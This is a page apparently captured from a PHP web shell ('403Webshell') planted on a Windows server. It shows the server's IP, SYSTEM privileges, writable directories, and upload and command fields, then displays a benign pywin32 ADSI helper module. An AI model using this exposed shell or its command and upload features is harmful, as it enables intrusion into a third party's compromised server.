403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.78
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/win32comext/adsi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files (x86)/Alibaba/Aegis/PythonLoader/third_party/win32comext/adsi/__init__.py
import win32com
import win32com.client

if type(__path__)==type(''):
	# For freeze to work!
	import sys
	try:
		import adsi
		sys.modules['win32com.adsi.adsi'] = adsi
	except ImportError:
		pass
else:
	# See if we have a special directory for the binaries (for developers)
	win32com.__PackageSupportBuildPath__(__path__)


# Some helpers
# We want to _look_ like the ADSI module, but provide some additional
# helpers.

# Of specific note - most of the interfaces supported by ADSI
# derive from IDispatch - thus, you get the custome methods from the
# interface, as well as via IDispatch.
import pythoncom
from adsi import *

LCID = 0

IDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch]
IADsContainerType = pythoncom.TypeIIDs[adsi.IID_IADsContainer]

def _get_good_ret(ob,
				  # Named arguments used internally
				  resultCLSID = None):
	assert resultCLSID is None, "Now have type info for ADSI objects - fix me!"
	# See if the object supports IDispatch
	if hasattr(ob, "Invoke"):
		import win32com.client.dynamic
		name = "Dispatch wrapper around %r" %  ob
		return win32com.client.dynamic.Dispatch(ob, name, ADSIDispatch)
	return ob


class ADSIEnumerator:
	def __init__(self, ob):
		# Query the object for the container interface.
		self._cont_ = ob.QueryInterface(IID_IADsContainer)
		self._oleobj_ = ADsBuildEnumerator(self._cont_) # a PyIADsEnumVARIANT
		self.index = -1
	def __getitem__(self, index):
		return self.__GetIndex(index)
	def __call__(self, index):
		return self.__GetIndex(index)
	def __GetIndex(self, index):
		if type(index)!=type(0): raise TypeError("Only integer indexes are supported for enumerators")
		if index != self.index + 1:
			# Index requested out of sequence.
			raise ValueError("You must index this object sequentially")
		self.index = index
		result = ADsEnumerateNext(self._oleobj_, 1)
		if len(result):
			return _get_good_ret(result[0])
		# Failed - reset for next time around.
		self.index = -1
		self._oleobj_ = ADsBuildEnumerator(self._cont_) # a PyIADsEnumVARIANT
		raise IndexError("list index out of range")

class ADSIDispatch(win32com.client.CDispatch):
	def _wrap_dispatch_(self, ob, userName = None, returnCLSID = None, UnicodeToString=None):
		assert UnicodeToString is None, "this is deprectated and will be removed"
		if not userName:
			userName = "ADSI-object"
		olerepr = win32com.client.dynamic.MakeOleRepr(ob, None, None)
		return ADSIDispatch(ob, olerepr, userName)

	def _NewEnum(self):
		try:
			return ADSIEnumerator(self)
		except pythoncom.com_error:
			# doesnt support it - let our base try!
			return win32com.client.CDispatch._NewEnum(self)

	def __getattr__(self, attr):
		try:
			return getattr(self._oleobj_, attr)
		except AttributeError:
			return win32com.client.CDispatch.__getattr__(self, attr)

	def QueryInterface(self, iid):
		ret = self._oleobj_.QueryInterface(iid)
		return _get_good_ret(ret)

# We override the global methods to do the right thing.
_ADsGetObject = ADsGetObject # The one in the .pyd
def ADsGetObject(path, iid = pythoncom.IID_IDispatch):
	ret = _ADsGetObject(path, iid)
	return _get_good_ret(ret)

_ADsOpenObject = ADsOpenObject
def ADsOpenObject(path, username, password, reserved = 0, iid = pythoncom.IID_IDispatch):
	ret = _ADsOpenObject(path, username, password, reserved, iid)
	return _get_good_ret(ret)

Youez - 2016 - github.com/yon3zu
LinuXploit